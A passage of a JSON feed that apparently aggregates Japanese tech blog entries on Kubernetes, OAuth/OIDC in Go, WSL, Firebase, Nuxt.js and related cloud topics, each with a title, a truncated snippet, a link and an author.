その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/adlS59o984M 告知とかニュースっぽいもの Yahoo! Japan TechCanference 2022https...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220204","isoDate":"2022-02-04T10:56:59.000Z","dateMiliSeconds":1643972219000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/01/28] 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"普段は#kubenewsの2022年01月28日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/QTjbQD6tswc 告知とかニュースっぽいもの Coinhive事件最高裁「無罪」判決を受けてhttps://hacker...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220128","isoDate":"2022-01-28T12:59:05.000Z","dateMiliSeconds":1643374745000,"authorName":"bells17","authorId":"bells17"},{"title":"自作したOAuthサーバを拡張してOIDC機能を追加してみる","contentSnippet":"はじめに前回、OAuthサーバを自作してみました。せっかくなのでOIDCの機能を追加してOIDCサーバとしても振る舞えるようにしたいと思います。コードは以下になります。https://github.com/sat0ken/goauth-server 準備jwtを作るときの署名用にopensslコマンドでキーペアを作成しておきます。pemファイルはmain.goと同じフォルダに置いておきます。$ openssl genrsa > private-key.pem$ openssl rsa -in private-key.pem -pubout -out publ...","link":"https://zenn.dev/satoken/articles/golang-oidc-server","isoDate":"2022-01-10T07:56:35.000Z","dateMiliSeconds":1641801395000,"authorName":"satoken","authorId":"satoken"},{"title":"雰囲気でOAuthを使っていたエンジニアがOAuthサーバ(RFC6749)を自作してみる","contentSnippet":"はじめにAuth屋さんの本やその他有識者のBlogなどを読むことで少しながらOAuthやOIDCの仕組みが理解できてきました。そんななかで以下の記事が大変勉強になりました。https://qiita.com/TakahikoKawasaki/items/e508a14ed960347cff11↑の記事ではRubyで実装されているのですが、これを参考というかほぼ丸コピですがgolangで実装してみたいと思います。コードは以下にあります。https://github.com/sat0ken/goauth-server 仕様OAuthサーバでは認可エンドポイントとトークン...","link":"https://zenn.dev/satoken/articles/golang-oauth-server","isoDate":"2022-01-03T09:24:05.000Z","dateMiliSeconds":1641201845000,"authorName":"satoken","authorId":"satoken"},{"title":"golangでOAuthとOpenID Connectの違いを整理して理解する","contentSnippet":"はじめに前回の記事に引き続きAuth屋さんのOIDC本を読みました。今回もチュートリアルのcurlとブラウザで行っている部分をgolangに置き換えてみたいと思います。方針は前回の実装と同じです。httpサーバを起動させるアクセスするとgoogleにリダイレクトさせるcallbackを受けたら認可コードでトークンリクエストをする取得したトークンでプロフィールにアクセスするOAuthではGoogleのPhoto APIにアクセスしましたが、プロフィール情報にアクセスするのが違いとなります。IDトークンの検証も行いますが勉強のためなるべくライブラリなどは使用せず標準...","link":"https://zenn.dev/satoken/articles/oidc-client-golang","isoDate":"2022-01-02T16:32:52.000Z","dateMiliSeconds":1641141172000,"authorName":"satoken","authorId":"satoken"},{"title":"雰囲気でOAuth2.0を使っているエンジニアがgolangで学んでみる","contentSnippet":"はじめに技術書典で購入していたAuth屋さんの本を読みました。とてもわかりやすくいい本ですが、チュートリアルを進める時にcurlコマンドとブラウザを行ったり来たりするのがめんどくさくなってきたので、golangで置き換えてみることにしました。どうしようかと考えてみて\uD83D\uDE44、下記のように実装してみます。httpサーバを起動させるアクセスするとgoogleにリダイレクトさせるcallbackを受けたら認可コードでトークンリクエストをするトークンを取得したらリソースにアクセスする(GooleのAPIを叩く)最終的なコードは以下にあります。https://gist.gith...","link":"https://zenn.dev/satoken/articles/oauth-funiki","isoDate":"2021-12-31T05:54:04.000Z","dateMiliSeconds":1640930044000,"authorName":"satoken","authorId":"satoken"},{"title":"WSL2でDNSは8.8.8.8を見つつX Serverを利用する","contentSnippet":"概要VPNを利用するのでDNSサーバーを8.8.8.8に固定したいしかし、X Serverを使うので環境変数DISPLAYにWindowsが解決するホスト名を使用しているexport DISPLAY=\\"$(hostname).mshome.net:0.0\\"DISPLAYにホスト名ではなくIPアドレスを設定しDNSサーバーを固定する DNSサーバーを固定 /etc/wsl.confを作成/etc/wsl.conf[network]generateResolvConf = false /etc/resolv.confを削除$ sudo unli...","link":"https://zenn.dev/tayusa/articles/8a76c02772d0a5","isoDate":"2021-12-28T00:57:59.000Z","dateMiliSeconds":1640653079000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Accurateの内部実装","link":"https://bells17.medium.com/accurate-internal-70915fe716ca?source=rss-713cf42ce34d------2","isoDate":"2021-12-15T18:56:05.000Z","dateMiliSeconds":1639594565000,"authorName":"bells17","authorId":"bells17"},{"title":"Nuxt.jsを「正しく」終了する","contentSnippet":"はじめにこの記事はNuxt.js Advent Calendar2021の12日目の記事です。11日目は@Skmt3PさんのNuxtのコンポーネントをWeb Componentとして利用するでした。(web component触ってきてないからへぇって気持ちで読まさせていただきました) 概要hooks自体を調べていたときにcloseという項目がありました。そして、説明にはNuxt インスタンスが正しく終了したときというのがありました。「正しく」とは一体…となって原文を見てみるとNuxt instance is gracefully closing.というこ...","link":"https://zenn.dev/satohjohn/articles/fd876409209ed1","isoDate":"2021-12-11T15:35:11.000Z","dateMiliSeconds":1639236911000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Daprつかってみた(Web APIのイメージでローカルストレージとGCSを同じように扱ってみる)","contentSnippet":"この記事は Web API Advent Calendar 2021 の5日目の記事になりますちなみに4日目は@sys_zeroさんのPower Automate for desktopの変数に関するTips「JSONにnull値がある場合の選択的置換」でした今回は、当日まで全く内容について考えられてなかったのですが、ふっと、頭にわいた、個人的に気になっているDaprについて調べて、ローカルストレージとGoogle Cloud Storage(以下GCS)を扱ってみます なんで今回Dapr？Daprを使うメリットの1つとして、他のサービスにつなぐ方法をHTTPまたはgRPCに...","link":"https://zenn.dev/satohjohn/articles/96873574f07534","isoDate":"2021-12-04T15:01:17.000Z","dateMiliSeconds":1638630077000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"GKE CNI Deep Dive (2021)","contentSnippet":"GKE (Google Kubernetes Engine) のネットワーク周りの実装はユーザーの見えないところで変化を続けています。以前は、公式ドキュメントにあるように bridge interf…","link":"https://qiita.com/toVersus/items/4ff2525d562d8de4d530","isoDate":"2021-10-23T08:20:56.000Z","dateMiliSeconds":1634977256000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"WSLでGitHubのPersonal access token認証","contentSnippet":"参考https://github.com/microsoft/Git-Credential-Manager-Core#windows-subsystem-for-linux-wsl GitCredentialManagerとGitをインストールPowerShellにて> winget install --id Microtsoft.GitCredentialManagerCore> winget install --id Git.Gitwingetがなければ https://github.com/microsoft/winget-cli#installing...","link":"https://zenn.dev/tayusa/articles/f81e6551642867","isoDate":"2021-09-30T16:01:55.000Z","dateMiliSeconds":1633017715000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Vuexの型定義でモジュールでの型解決してくれるようにしてみた","contentSnippet":"前提Nuxt.jsでVuexを使っているのでそのときにhttps://github.com/ktsn/vuex-type-helper以下を利用させてもらっていましたただ、モジュールのstore場合利用時にtypeがうまくはまらないから、どうするんだろうとか色々見てたのですがあんまりいい手段が見つからなく、自分で型定義でテンプレートリテラル部分書いたらどうなんだろうとおもってやってみました。正直もっと良い手段があると思いますが、今回は自分の勉強踏まえの備忘録。そして、多分Vue3対応とかが入ったらちゃんと動いていくんだと思うので、後で書き換えればいいし、現状型の問題だけな...","link":"https://zenn.dev/satohjohn/articles/b064cf966a9e20","isoDate":"2021-09-11T04:37:38.000Z","dateMiliSeconds":1631335058000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"FirebaseのCliでの操作で401系エラーが出るときの解決法","contentSnippet":"考えられる原因は以下ですログインできていない本当に権限がないcliに保存されているクレデンシャルが古い 前提環境としてはfirebase-tools 9.16.5です ログインできていないコレはわかりやすいです。以下コマンドでログインしてくださいfirebase loginちなみに、すでにログインしている場合は、ログインしているアカウントが表示されます(コレはまりポイント 本当に権限がないGCPのIAMの権限を確認してください。個人で直接Firebaseプロジェクトを作っている場合はあまり関係がないかもしれません。 cliに保存されているクレデンシャ...","link":"https://zenn.dev/satohjohn/articles/d409819196c6b8","isoDate":"2021-08-17T05:54:30.000Z","dateMiliSeconds":1629179670000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"ストレングスファインダーのコーチングを受けてみた","link":"https://bells17.medium.com/strengthsfinder-2140afddf46f?source=rss-713cf42ce34d------2","isoDate":"2021-08-11T13:27:04.000Z","dateMiliSeconds":1628688424000,"authorName":"bells17","authorId":"bells17"},{"title":"Kubernetes Hardening Guidanceを訳してみた(随時更新中)","contentSnippet":"この文章について米国土安全保障省サイバーセキュリティ・インフラストラクチャセキュリティ庁(CISA)と米国家安全保障局(NSA)によリ作成されたKubernetes Hardening Guidance, Kuebrnetes環境のセキュリティをより堅牢にするためのガイダンスを翻訳したみたものです。https://news.mynavi.jp/article/20210804-1938869/訳者の英語力は壊滅的ですので、多くの誤訳などあるかと思いますが生暖かい目で見て頂ければと思いますのでよろしくお願いします。翻訳は以下で随時更新＆修正していきます。https://gith...","link":"https://zenn.dev/satoken/articles/k8s-hardening-guidance-ja","isoDate":"2021-08-09T08:37:51.000Z","dateMiliSeconds":1628498271000,"authorName":"satoken","authorId":"satoken"},{"title":"Kube API Serverの内部実装を解説する技術同人誌を技術書典11で出しました!","link":"https://bells17.medium.com/wrote-the-kube-api-server-book-2155129db374?source=rss-713cf42ce34d------2","isoDate":"2021-07-19T09:16:43.000Z","dateMiliSeconds":1626686203000,"authorName":"bells17","authorId":"bells17"},{"title":"Oracleインストール中にでたSysctl系エラーであたったkernel parameterについて","contentSnippet":"Oracleインストール中にでたSysctl系エラーであたったkernel parameterについてTable of ContentsOracleインストール中にでたSysctl系エラーであたったkernel parameterについてMotivationそもそもsysctlとは何なのか？Oracleセットアップ中に遭遇したkernel parameterssemopm変更方法セマフォ(semaphore)とは？SEMSMLSEMMNSSEMOPMSEMMNIfile-max変更方法rem_default/rem_max/...","link":"https://zenn.dev/nnaka2992/articles/1fa7fb5d03f958","isoDate":"2021-07-11T08:41:03.000Z","dateMiliSeconds":1625992863000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Open Telemetry + Google Cloud Trace やってみた","contentSnippet":"モチベーションGoogle Cloud Trace(以下Cloud Trace)がOpen Telemetryの対応をしているということで、更にドキュメントにはないけど(2021-06-14現在)Javaでもライブラリができたので、それを試してみる。分散トレーシングしたいって言う場合、GKEで組んでいる場合、Cloud Traceのライブラリを使って直接送るっていうのもありだが、Open Telemetryを使うことで、他のツールにも送れるような仕組みができる。 前提分散トレーシングについて知っているNuxt.jsについて少し知っている Open Telemetr...","link":"https://zenn.dev/satohjohn/articles/e37e8575966204","isoDate":"2021-06-14T05:35:09.000Z","dateMiliSeconds":1623648909000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"denops.vimを使って引用符と括弧を操作するVimのプラグインを書いた","contentSnippet":"はじめにかねてから、Denoを触ってみたいけど肝心の作るものがないなと思っていました。そんな矢先にたまたまdenops.vimとの邂逅を果たしたので、昔作ったプラグインを書き直してみました。denops.vimについてはhttps://github.com/vim-denops/denops.vimhttps://zenn.dev/lambdalisue/articles/b4a31fba0b1ce95104c9 作ったものhttps://github.com/atsuya0/dps-surrounding.vim題目のとおり、引用符と括弧を操作するvimのプラグイ...","link":"https://zenn.dev/tayusa/articles/58d1c20172f662","isoDate":"2021-06-13T15:41:53.000Z","dateMiliSeconds":1623598913000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Kustomize でスラッシュを含むパスにパッチを当てる","contentSnippet":"背景Kustomize では JSON Patch を用いて base のマニフェストにパッチを当てることができます。例えば，以下のマニフェストdeployment.yamlapiVersion: apps/v1kind: Deploymentmetadata: labels: app.kubernetes.io/name: myapp app.kubernetes.io/version: v1.0.0 name: myapp version: v1.0.0...の version の値を v1.0.1 に変えたい場合は，以下の...","link":"https://zenn.dev/toshikish/articles/38896bb9ae1913","isoDate":"2021-05-31T07:34:24.000Z","dateMiliSeconds":1622446464000,"authorName":"toshikish","authorId":"toshikish"},{"title":"Rustの練習","contentSnippet":"概要完全に参照の部分に慣れていないので、これをどうやって対応したのかを自分の整理のためにもメモしていくexerismでRustの勉強をしているが、その問題を使う Simple Linked List全容： https://exercism.io/tracks/rust/exercises/simple-linked-list/solutions/d0fdfb1c904344ecbf4bcf808c345cdc以下のような構造ときので後入れ先出しのパターンの場合pub struct SimpleLinkedList { head: Option&...","link":"https://zenn.dev/satohjohn/articles/536589f3a86600","isoDate":"2021-05-01T14:15:59.000Z","dateMiliSeconds":1619878559000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"First-Party Setsについて","contentSnippet":"概要Cookie のセキュリティについてです。 partyCookieにはfirst-partyとthird-partyがあります。first-partyとは現在訪れているドメインです。third-partyとは現在訪れているドメインとは違うドメインです。 SameSite Cookieshttps://developer.mozilla.org/ja/docs/Web/HTTP/Headers/Set-Cookie/SameSite現在、訪れているドメインから別ドメインにHTTPリクエストを送信するときに、Cookieをセットするか設定するものです。これには...","link":"https://zenn.dev/tayusa/articles/efa8aa75ad5519","isoDate":"2021-04-25T16:30:34.000Z","dateMiliSeconds":1619368234000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"ユーザーのGoogle Calendarへ予定を自動登録","contentSnippet":"概要Webサービスで映画や美容室の予約を行うと、たまに自分のGoogle Calendarに自動で予定が追加されていることがあると思います。それはGoogleが提供しているEmail Markupという機能によるものです。 Email Markupとはhttps://developers.google.com/gmail/markupEmail Markupは schema.org を使って新たなにEmailの機能を追加できる仕組みです。Emailの文面のHTMLに schema.org マークアップというデータを加えることで動作します。schedma.org マーク...","link":"https://zenn.dev/tayusa/articles/bacac8cbf8ff16","isoDate":"2021-04-25T16:24:54.000Z","dateMiliSeconds":1619367894000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Ansibleのyumリポジトリを作成しスタンドアロンのサーバで使用する手順","contentSnippet":"#目的と背景スタンドアロン(社内リポジトリ及びインターネット繋がってない)にパッケージ入れたいけど、依存パッケージが多すぎて無理ゲーなのでリポジトリごと転送したい場合の方法です。今回はyumコマン…","link":"https://qiita.com/nullzebra/items/221b531ac450d2da0149","isoDate":"2021-02-28T17:51:58.000Z","dateMiliSeconds":1614534718000,"authorName":"Satoru Kikuta","authorId":"nullzebra"},{"title":"July Tech Festa 2021 winterで発表&運営スタッフをしました","link":"https://bells17.medium.com/july-tech-festa-2021-winter%E3%81%A7%E7%99%BA%E8%A1%A8-%E9%81%8B%E5%96%B6%E3%82%B9%E3%82%BF%E3%83%83%E3%83%95%E3%82%92%E3%81%97%E3%81%BE%E3%81%97%E3%81%9F-385e7e18aac4?source=rss-713cf42ce34d------2","isoDate":"2021-01-26T04:26:28.000Z","dateMiliSeconds":1611635188000,"authorName":"bells17","authorId":"bells17"},{"title":"markedjs/markedでmarkdownにclassをつけてcssを当てる","contentSnippet":"前提markdownからhtmlに変換するライブラリはmarkedを使います。https://github.com/markedjs/markededitorはreact-simplemde-editorを使います。https://github.com/RIP21/react-simplemde-editorReact component wrapper for EasyMDE (the most fresh SimpleMDE fork). 環境node 14.10.1react 17.0.1marked 1.2.7react-simplemde-editor...","link":"https://zenn.dev/tayusa/articles/54128714c8ee2d","isoDate":"2021-01-25T02:16:44.000Z","dateMiliSeconds":1611541004000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"AWS ソリューションアーキテクト アソシエート合格までのまとめ","contentSnippet":"#目次#0. はじめに先日、AWS ソリューションアーキテクト アソシエート に合格したので、忘れないうちに色々とアウトプットしておこうと思います。これから受験を考えている方の役にたてればと思い…","link":"https://qiita.com/dirtymosschan/items/da3eebdf6b7be9c3eb67","isoDate":"2021-01-19T13:11:47.000Z","dateMiliSeconds":1611061907000,"authorName":"Yu Kaneko","authorId":"mos914"},{"title":"glibc, musl libc, go の resolver の違い","contentSnippet":"先日、resolv.conf で timeout を調整したいなと思うことがありました、しかし、Docker だの Kubernetes だのといった時代です。Linux しか使っていなかったとして…","link":"https://qiita.com/yteraoka/items/e74e8bf24f72f7ed5f15","isoDate":"2021-01-13T14:04:22.000Z","dateMiliSeconds":1610546662000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"GCP Cloud Runの概括","contentSnippet":"概要フルマネージドのサーバーレスプラットフォーム。トラフィックに応じて自動でスケーリング。コンテナをデプロイするから言語が自由。Cloud BuildやCloud Loggingと統合されていてデプロイやログ収集が手軽。従量課金。リクエストが処理されている間が請求対象。シンプルな構成のマイクロサービスにはうってつけ。複雑な構成管理が必要ならGKE。 パフォーマンスに関して 注意とtipsレスポンスを返すとインスタンスのCPUアクセスが無効か制限されるのでバッググラウンドで処理しない。メモリが使われるので一時ファイルは削除する。動的型付け言語の場合はライブ...","link":"https://zenn.dev/tayusa/articles/74a95f41f00792","isoDate":"2021-01-05T18:59:11.000Z","dateMiliSeconds":1609873151000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"2020年にKubernetse関連で取り組んだことまとめ","link":"https://bells17.medium.com/2020-kubernetse-4771e660a174?source=rss-713cf42ce34d------2","isoDate":"2020-12-23T16:04:00.000Z","dateMiliSeconds":1608739440000,"authorName":"bells17","authorId":"bells17"},{"title":"GCP の Identity Aware-Proxy を使って SSH した話","contentSnippet":"#Cloud Identity Aware-Proxy とは？一言で表すと、Google のアカウントを使ってセキュアにリソースに接続できるプロキシサービスです。###何ができる？GCP 上の…","link":"https://qiita.com/dirtymosschan/items/fd11001daa68d7c8d943","isoDate":"2020-12-22T11:20:18.000Z","dateMiliSeconds":1608636018000,"authorName":"Yu Kaneko","authorId":"mos914"},{"title":"SSHを使用せずにTeratermからWSLを使う","contentSnippet":"ALHアドベントカレンダー202012/19(土)もきくりんが担当します！今回は小ネタになります。WSLをTetatermで使う、とても便利なのですが標準のコンソールの使い勝手があまり良くなく(UI全般、ログが取れない、コピペしにくい等…","link":"https://qiita.com/nullzebra/items/6bfe92646ddbaa548977","isoDate":"2020-12-20T09:55:35.000Z","dateMiliSeconds":1608458135000,"authorName":"Satoru Kikuta","authorId":"nullzebra"},{"title":"gRPC-WebとGoとVue.jsで簡素なチャット","contentSnippet":"はじめに何だか良くわからないけどよく聞くgRPC-Webなるものを触りだけでも理解すべく辛うじてチャット呼べそうなものを作ってみました。概要gRPCとはhttps://grpc.io/Pr…","link":"https://qiita.com/atsuya0/items/f994ca9d820d307daffd","isoDate":"2020-12-17T17:06:43.000Z","dateMiliSeconds":1608224803000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"VolumePlugin がボリュームを作成・マウントするしくみ","contentSnippet":"はじめにPod の作成時、pod.spec.volumes に記述したボリュームがコンテナにマウントされます。マウントされる Node 側のボリュームを、VolumePlugin がどのように作…","link":"https://qiita.com/kyohmizu/items/40bee7037e1ce7949772","isoDate":"2020-12-17T10:54:47.000Z","dateMiliSeconds":1608202487000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"Sidekiqのジョブをパフォーマンスを考えて削除する","contentSnippet":"はじめにRailsで処理を何らかの理由で遅延させた場合や非同期に処理を行いたいときに多くの人がActive Jobを使用していると思います。とても便利で良いやつなのですがキューに積んだジョブを削…","link":"https://qiita.com/atsuya0/items/30d6259766a9a0d5103d","isoDate":"2020-12-12T17:37:05.000Z","dateMiliSeconds":1607794625000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"任意のファイルをPNGファイルで隠してみる","contentSnippet":"はじめにある日、私はファイルを連結したらどうなるんだろうという好奇心に逆らえず、おもむろに連結して確かめてみることにしました。結果、その連結したファイルは普通にファイルとして使えることがわかりま…","link":"https://qiita.com/atsuya0/items/a8ccbc9637c37cdf967e","isoDate":"2020-12-12T14:56:30.000Z","dateMiliSeconds":1607784990000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Raspberry Pi4 3台でKubernetesクラスタ構築","contentSnippet":"ALHアドベントカレンダー202012/12(土)はきくりんが担当いたします！！サーバー、スイッチ、電源、筐体の選定から、組み込み、構築、ナレッジ化とインフラエンジニア総合格闘技的な内容となりま…","link":"https://qiita.com/nullzebra/items/a9b2b262b490f0eabeae","isoDate":"2020-12-12T11:01:44.000Z","dateMiliSeconds":1607770904000,"authorName":"Satoru Kikuta","authorId":"nullzebra"},{"title":".gcloudignoreの書き方","contentSnippet":".gcloudignore の設定が思ったとおりに、いかなかったのでまとめます。.gitignoreと同じらしいですが、そもそもgitで今まで全体をignoreすることはやったことなかったので基本はコチラに書いてあるのですが、わからなかった部分も含みますhttps://cloud.google.com/sdk/gcloud/reference/topic/gcloudignore# 始まりはコメントです 基本の考え ファイル指定以下パターンすべてプロジェクト直下のものが対象になります。否定する場合は ! をつけます。!a.txt というファイルをデプロイ対象にしたい...","link":"https://zenn.dev/satohjohn/articles/11df180df878ac","isoDate":"2020-11-30T09:57:54.000Z","dateMiliSeconds":1606730274000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"GAE + Java 11 + Quarkusってどんなもんよ","contentSnippet":"基本的に今までTypeScript + Node.jsで書いてましたが、そろそろJVMを書きたいという気持ちが出てきました。ただし、Standard環境のGAEは良いものだと知ってしまった、、、ということでJava 11でかけないかなと思いました。GAE + Java 11を利用する上で考えるのは、 初回リクエストのレスポンス速度 (JVMの起動速度+アプリケーションの起動速度) が問題になるかと思います。では、高速に起動する(?)と言われるQuarkusを使って見たらどうだろうと思い、ちょっと調査してみました。Javaと言いながらKotlinで作ってますが、あんまり変わらない(...","link":"https://zenn.dev/satohjohn/articles/70a2b77308e0b982fb70","isoDate":"2020-11-07T13:08:25.000Z","dateMiliSeconds":1604754505000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"フロントエンド(SPA)でのFirebase Authとの付き合い方","contentSnippet":"Firebase Authで取得したID Tokenをどう使うか、どう保管するかが結構難しいと思っています。その中で、WebアプリケーションにおいてFirebaseのドキュメントには2パターンがあるように見えました。Cookieを使ったSession管理ID Token+Service Workerを使った管理(Betaっぽい)自分としてはそれぞれのメリット・デメリットがあると感じましたので、まとめます。 1. Cookieを使ったSession管理メリット自分でCookieの長さを決められる.2週間に設定することもできる（ID Tokenの期限は1時間)古いブ...","link":"https://zenn.dev/satohjohn/articles/d39cf288dcfbe5e39c3b","isoDate":"2020-11-03T14:40:40.000Z","dateMiliSeconds":1604414440000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Kubernetes Internal #1を開催しました","link":"https://bells17.medium.com/kubernetes-internal-1-ea0f1adcfe33?source=rss-713cf42ce34d------2","isoDate":"2020-10-19T10:29:31.000Z","dateMiliSeconds":1603103371000,"authorName":"bells17","authorId":"bells17"},{"title":"Istio の timeout, retry, circuit breaking, etc","link":"https://medium.com/sreake-jp/istio-%E3%81%AE-timeout-retry-circuit-breaking-etc-c170285447e8?source=rss-8b55af126a13------2","isoDate":"2020-10-17T14:52:08.000Z","dateMiliSeconds":1602946328000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"kubeadmの共通処理の実装","link":"https://bells17.medium.com/kubeadm-common-implementation-a5e5b3890dde?source=rss-713cf42ce34d------2","isoDate":"2020-09-12T19:22:01.000Z","dateMiliSeconds":1599938521000,"authorName":"bells17","authorId":"bells17"},{"title":"Kubernetes (k8s) 管理者用GUI Lens","contentSnippet":"Lensとはlensapp/lensk8sで動作する全てのリソースをモニタリングしてくれるGUIアプリLinux/Mac/Windowsで動作するこんな感じ（kindで作ったクラスタ見てます）…","link":"https://qiita.com/tozastation/items/804949c69df5d53643c6","isoDate":"2020-09-07T12:53:18.000Z","dateMiliSeconds":1599483198000,"authorName":"tozastation","authorId":"tozastation"},{"title":"Cloud SQLへのprivate ip 接続でハマった話","contentSnippet":"概要Cloud SQL(MySQL)に対してprivate ipを使ってアクセスしたときに、何をチェックしたかをメモするハマったからにはきちんとログを残す現象GCE から Cloud SQL…","link":"https://qiita.com/SatohJohn/items/e79f363798a6233f9ad2","isoDate":"2020-08-07T16:53:50.000Z","dateMiliSeconds":1596819230000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"情報処理安全確保支援士の関連資料","contentSnippet":"情報処理安全確保支援士の業務を行う上で、参照すべき資料一覧です。サイバーセキュリティ基本法（平成二十六年法律第百四号）情報処理の促進に関する法律（昭和四十五年法律第九十号）情報処理学会倫理綱領RFC:1087 倫理とインターネット(Ethics and the Internet)セキュリティ対応組織 (SOC,CSIRT)強化に向けたサイバーセキュリティ情報共有の「5W1H」 v2.0 (2019年4月)JPCERT インシデントハンドリングマニュアルIPA 脆弱性対策の効果的な進め方（ツール活用編）情報セキュリティ早期警戒パートナーシップガイドラインIPA 重要なセキュリティ情報一覧IPA 共通脆弱性評価システムCVSS v3概説JVN (Japan Vulnerability Notes)JVN 脆弱性レポートの読み方JVN iPediaFIRST Common Vulnerability Scoring System SIGCWE (Common Weakness Enumeration)IPA 脆弱性体験学習ツール AppGoatMyJVNIPA 組織における内部不正防止ガイドライン地方公共団体における情報セキュリティポリシーに関するガイドライン(平成30年9月版)IPA 委託関係における情報セキュリティ対策ガイドラインIPA 中小企業の情報セキュリティ対策ガイドラインIPA 情報漏えい対策のしおりNISC スマートフォン等の業務利用における情報セキュリティ対策の実施手順作成手引書個人情報の保護に関する法律についてのガイドラインIPA 企業(組織)における最低限の情報セキュリティ対策のしおりスマートフォンのセキュリティ＜危険回避＞対策のしおりJPCERT/CC 技術メモ - 安全な Web ブラウザの使い方IPA ウェブブラウザのプロテクションプロファイル","link":"https://kyohmizu.hatenablog.com/entry/2020/08/05/115459","isoDate":"2020-08-05T02:54:59.000Z","dateMiliSeconds":1596596099000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"AWS CodeBuild において オンプレのJenkins では成功していたファイル権限系のテストをするとうまくいかない","contentSnippet":"この記事を書くに至った経緯私が開発しているチームでは、Jenkinsでビルド・テストを行っていました。色々と環境をAWSに載せ替えていく中で、AWS CodeBuildを使用することになりました。ところが、ReadOnlyに設定したファイルにWriteできないことをテストすると失敗しているではないか…","link":"https://qiita.com/tayakun/items/6b721985bc098dda9846","isoDate":"2020-06-22T15:15:05.000Z","dateMiliSeconds":1592838905000,"authorName":"Soichiro Taya","authorId":"tayakun"},{"title":"Mac VScode Maven でJunit 使ってみた","contentSnippet":"はじめにとりあえずVSCodeでJUnit使ってユニットテスト体験してみたい人が対象です。まだJavaすらMacに入れてないんだ！って人はこちらを参考にしてみてください。動作環境macOS …","link":"https://qiita.com/tayakun/items/16201aa0371fa874ec78","isoDate":"2020-06-19T18:23:53.000Z","dateMiliSeconds":1592591033000,"authorName":"Soichiro Taya","authorId":"tayakun"},{"title":"Handy Admission Webhook Library","contentSnippet":"Kubernetes の Admission Webhook を開発する際に、kubernetes/api をラップした軽量なライブラリやフレームワークを使うことがあると思います。kubernet…","link":"https://qiita.com/toVersus/items/5316e94490d60c220af7","isoDate":"2020-06-14T05:05:07.000Z","dateMiliSeconds":1592111107000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"Mac VSCode JavaでHelloWorldした","contentSnippet":"はじめにタイトル通り、ただHelloWorldするだけです。よくある標準出力するだけの課題とかをささっとすますにはいいかもしれません。今からこの環境でWebアプリとか作っちゃうんだ！って人には…","link":"https://qiita.com/tayakun/items/a38386288c50233c6a90","isoDate":"2020-06-10T14:57:49.000Z","dateMiliSeconds":1591801069000,"authorName":"Soichiro Taya","authorId":"tayakun"},{"title":"Chaos Mesh によるカオスエンジニアリング","link":"https://medium.com/sreake-jp/chaos-mesh-%E3%81%AB%E3%82%88%E3%82%8B%E3%82%AB%E3%82%AA%E3%82%B9%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E3%83%AA%E3%83%B3%E3%82%B0-46fa2897c742?source=rss-8b55af126a13------2","isoDate":"2020-06-02T03:16:16.000Z","dateMiliSeconds":1591067776000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"GitHub ActionsからGAEにdeployする際のsecretの扱い","contentSnippet":"概要この記事の内容としては以下の通りGAEのapp.yamlが環境変数を読み取らないので、値をなんとか渡す方法。GitHubActionsで認証ファイルを扱う方法。ユースケースとして、GAE…","link":"https://qiita.com/SatohJohn/items/2341168ccb93c5e144ab","isoDate":"2020-05-13T08:20:51.000Z","dateMiliSeconds":1589358051000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"3月末日で退職してました","contentSnippet":"株式会社モバイルファクトリーを3/31で退職してました。2010年6月入社なので9年10ヶ月になりますね。今は新しい会社のSREチームで働いています。前半数年間はケータイ向けのサイト(いわゆる着メロサイト)やソーシャルアプリの開発運用をしていました。後半数年間は社内全体の開発基盤・運用基盤の整備をしていました。いわゆるインフラよりのお仕事ですね。入社当時Webアプリケーション開発をまったく分かってなかったところからなんとか人並みに運用開発できる力をこの会社で身につけることが出来たと思います。今なんとかwebエンジニアをやれてるのはこの会社のおかげと言っても過言では無いと思っています。入社当時SQLをまともに書けなかったくらいのレベルだったのでよく採用されたなと。。。お仕事的には回りのレベルも高いし、自身の仕事のやり方も裁量を与えられていたし、社内環境も、待遇も悪くなかった。むしろ良かったくらいでした。ただ、長年勤めていく内に悪い意味での慣れが出てきて、自分自身停滞感を感じることが出てきました。ここ数年が特に感じることが多く、停滞感から来る焦りを日々感